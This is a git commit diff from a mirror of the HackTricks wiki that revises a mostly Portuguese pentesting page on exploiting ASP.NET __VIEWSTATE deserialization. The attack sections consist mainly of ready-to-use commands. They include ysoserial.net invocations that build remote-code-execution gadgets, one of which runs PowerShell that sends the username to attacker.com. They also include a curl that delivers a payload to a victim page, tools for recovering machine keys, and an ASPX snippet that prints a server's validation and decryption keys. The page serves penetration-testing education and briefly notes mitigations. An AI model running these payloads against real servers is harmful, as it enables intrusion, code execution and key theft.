mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p
This commit is contained in:
parent
d40b8dd16b
commit
f46a59f374
@ -1,12 +1,10 @@
|
||||
# Explorando \_\_VIEWSTATE sem conhecer os segredos
|
||||
# Exploiting \_\_VIEWSTATE without knowing the secrets
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
## O que é ViewState
|
||||
|
||||
**ViewState** serve como o mecanismo padrão no ASP.NET para manter dados de página e controle entre páginas da web. Durante a renderização do HTML de uma página, o estado atual da página e os valores a serem preservados durante um postback são serializados em strings codificadas em base64. Essas strings são então colocadas em campos ocultos de ViewState.
|
||||
**ViewState** serve como o mecanismo padrão no ASP.NET para manter dados de página e controle entre páginas da web. Durante a renderização do HTML de uma página, o estado atual da página e os valores a serem preservados durante um postback são serializados em strings codificadas em base64. Essas strings são então colocadas em campos ViewState ocultos.
|
||||
|
||||
As informações do ViewState podem ser caracterizadas pelas seguintes propriedades ou suas combinações:
|
||||
|
||||
@ -34,7 +32,7 @@ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
|
||||
```
|
||||
**Identificando Atributos ViewState**
|
||||
|
||||
Você pode tentar identificar se o ViewState está protegido por MAC capturando uma solicitação contendo esse parâmetro com o BurpSuite. Se o MAC não for usado para proteger o parâmetro, você pode explorá-lo usando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
||||
Você pode tentar identificar se o ViewState está protegido por MAC capturando uma solicitação contendo este parâmetro com o BurpSuite. Se o MAC não for usado para proteger o parâmetro, você pode explorá-lo usando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
||||
```
|
||||
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
|
||||
```
|
||||
@ -106,19 +104,19 @@ Nos casos em que o parâmetro `_VIEWSTATEGENERATOR` **não é enviado** pelo ser
|
||||
```bash
|
||||
--apppath="/" --path="/hello.aspx"
|
||||
```
|
||||
### Caso de Teste: 3 – .Net < 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true
|
||||
### Test Case: 3 – .Net < 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true
|
||||
|
||||
Neste caso, não se sabe se o parâmetro está protegido com MAC. Então, o valor provavelmente está criptografado e você **precisará da Machine Key para criptografar seu payload** para explorar a vulnerabilidade.
|
||||
|
||||
**Neste caso, o** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **módulo está em desenvolvimento...**
|
||||
|
||||
**Antes do .NET 4.5**, o ASP.NET pode **aceitar** um parâmetro \_`__VIEWSTATE`\_ **não criptografado** dos usuários **mesmo** se **`ViewStateEncryptionMode`** tiver sido definido como _**Always**_. O ASP.NET **apenas verifica** a **presença** do parâmetro **`__VIEWSTATEENCRYPTED`** na solicitação. **Se alguém remover este parâmetro e enviar o payload não criptografado, ele ainda será processado.**
|
||||
**Antes do .NET 4.5**, o ASP.NET pode **aceitar** um parâmetro \_`__VIEWSTATE`\_ **não criptografado** dos usuários **mesmo** que **`ViewStateEncryptionMode`** tenha sido definido como _**Always**_. O ASP.NET **apenas verifica** a **presença** do parâmetro **`__VIEWSTATEENCRYPTED`** na solicitação. **Se um remover este parâmetro e enviar o payload não criptografado, ele ainda será processado.**
|
||||
|
||||
Portanto, se os atacantes encontrarem uma maneira de obter a Machinekey através de outra vulnerabilidade, como travessia de arquivos, o comando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) usado no **Caso 2** pode ser utilizado para realizar RCE usando a vulnerabilidade de desserialização do ViewState.
|
||||
|
||||
- Remova o parâmetro `__VIEWSTATEENCRYPTED` da solicitação para explorar a vulnerabilidade de desserialização do ViewState, caso contrário, retornará um erro de validação de MAC do Viewstate e a exploração falhará.
|
||||
|
||||
### Caso de Teste: 4 – .Net >= 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true/false exceto ambos os atributos como false
|
||||
### Test Case: 4 – .Net >= 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true/false exceto ambos os atributos como false
|
||||
|
||||
Podemos forçar o uso do framework ASP.NET especificando o parâmetro abaixo dentro do arquivo web.config, conforme mostrado abaixo.
|
||||
```xml
|
||||
@ -140,7 +138,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw
|
||||
```
|
||||
Para uma descrição mais detalhada sobre IISDirPath e TargetPagePath [consulte aqui](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
|
||||
Ou, com [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (com um valor gerador):
|
||||
Ou, com [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (com um valor de gerador):
|
||||
```bash
|
||||
cd badsecrets
|
||||
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
|
||||
@ -166,7 +164,7 @@ Você precisa usar mais um parâmetro para criar corretamente a carga útil:
|
||||
```
|
||||
### Resultado de uma Exploração Bem-Sucedida <a href="#poc" id="poc"></a>
|
||||
|
||||
Para todos os casos de teste, se o payload YSoSerial.Net do ViewState funcionar **com sucesso**, então o servidor responde com “**500 Internal server error**” tendo o conteúdo da resposta “**As informações de estado são inválidas para esta página e podem estar corrompidas**” e recebemos a requisição OOB.
|
||||
Para todos os casos de teste, se o payload YSoSerial.Net do ViewState funcionar **com sucesso**, o servidor responde com “**500 Internal server error**” tendo o conteúdo da resposta “**As informações de estado são inválidas para esta página e podem estar corrompidas**” e recebemos a requisição OOB.
|
||||
|
||||
Verifique [mais informações aqui](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
|
||||
|
||||
@ -188,7 +186,7 @@ Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.C
|
||||
}
|
||||
</script>
|
||||
```
|
||||
Solicitar a página imprime a **ValidationKey**, **DecryptionKey**, o algoritmo de criptografia e o modo de compatibilidade do ASP.NET. Esses valores podem agora ser inseridos diretamente no **ysoserial.net** para criar um gadget `__VIEWSTATE` válido e assinado:
|
||||
Solicitar a página imprime a **ValidationKey**, **DecryptionKey**, o algoritmo de criptografia e o modo de compatibilidade do ASP.NET. Esses valores podem agora ser alimentados diretamente no **ysoserial.net** para criar um gadget `__VIEWSTATE` válido e assinado:
|
||||
```bash
|
||||
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
|
||||
-c "powershell -nop -c \"whoami\"" \
|
||||
@ -198,21 +196,19 @@ ysoserial.exe -p ViewState -g TypeConfuseDelegate \
|
||||
--islegacy --minify
|
||||
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
|
||||
```
|
||||
Esta **primitiva de exfiltração de chave** foi amplamente explorada contra servidores SharePoint on-prem em 2025 ("ToolShell" – CVE-2025-53770/53771), mas é aplicável a qualquer aplicação ASP.NET onde um atacante possa executar código do lado do servidor.
|
||||
Esta **primitiva de exfiltração de chave** foi amplamente explorada contra servidores SharePoint locais em 2025 ("ToolShell" – CVE-2025-53770/53771), mas é aplicável a qualquer aplicação ASP.NET onde um atacante possa executar código do lado do servidor.
|
||||
|
||||
## Cenários de Exploração do Mundo Real 2024-2025 e Chaves de Máquina Codificadas
|
||||
|
||||
### Onda de “chaves de máquina divulgadas publicamente” da Microsoft (Dez 2024 – Fev 2025)
|
||||
A Microsoft Threat Intelligence relatou a exploração em massa de sites ASP.NET onde a *machineKey* havia sido previamente vazada em fontes públicas (gists do GitHub, postagens em blogs, sites de paste). Os adversários enumeraram essas chaves e geraram gadgets válidos `__VIEWSTATE` com os novos flags `ysoserial.net` 1.41 `--minify` e `--islegacy` para evadir limites de comprimento do WAF:
|
||||
A Microsoft Threat Intelligence relatou a exploração em massa de sites ASP.NET onde a *machineKey* havia sido previamente vazada em fontes públicas (gists do GitHub, postagens de blogs, sites de paste). Os adversários enumeraram essas chaves e geraram gadgets válidos `__VIEWSTATE` com os novos flags `ysoserial.net` 1.41 `--minify` e `--islegacy` para evadir os limites de comprimento do WAF:
|
||||
```bash
|
||||
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
|
||||
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
|
||||
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
|
||||
--generator=<VIEWSTATEGEN> --minify
|
||||
```
|
||||
Rotacionar chaves estáticas ou mudar para chaves *AutoGenerate* no Web .config (`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`) mitiga essa classe de ataques. {{#ref}}
|
||||
|
||||
{{#endref}}
|
||||
Rotacionar chaves estáticas ou mudar para chaves *AutoGenerate* no Web .config (`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`) mitiga essa classe de ataques.
|
||||
|
||||
### CVE-2025-30406 – Chaves codificadas de Gladinet CentreStack / Triofox
|
||||
A Kudelski Security descobriu que várias versões do CentreStack / Triofox foram lançadas com valores de `machineKey` idênticos, permitindo a execução remota de código não autenticado através da falsificação do ViewState (CVE-2025-30406).
|
||||
|
Loading…
x
Reference in New Issue
Block a user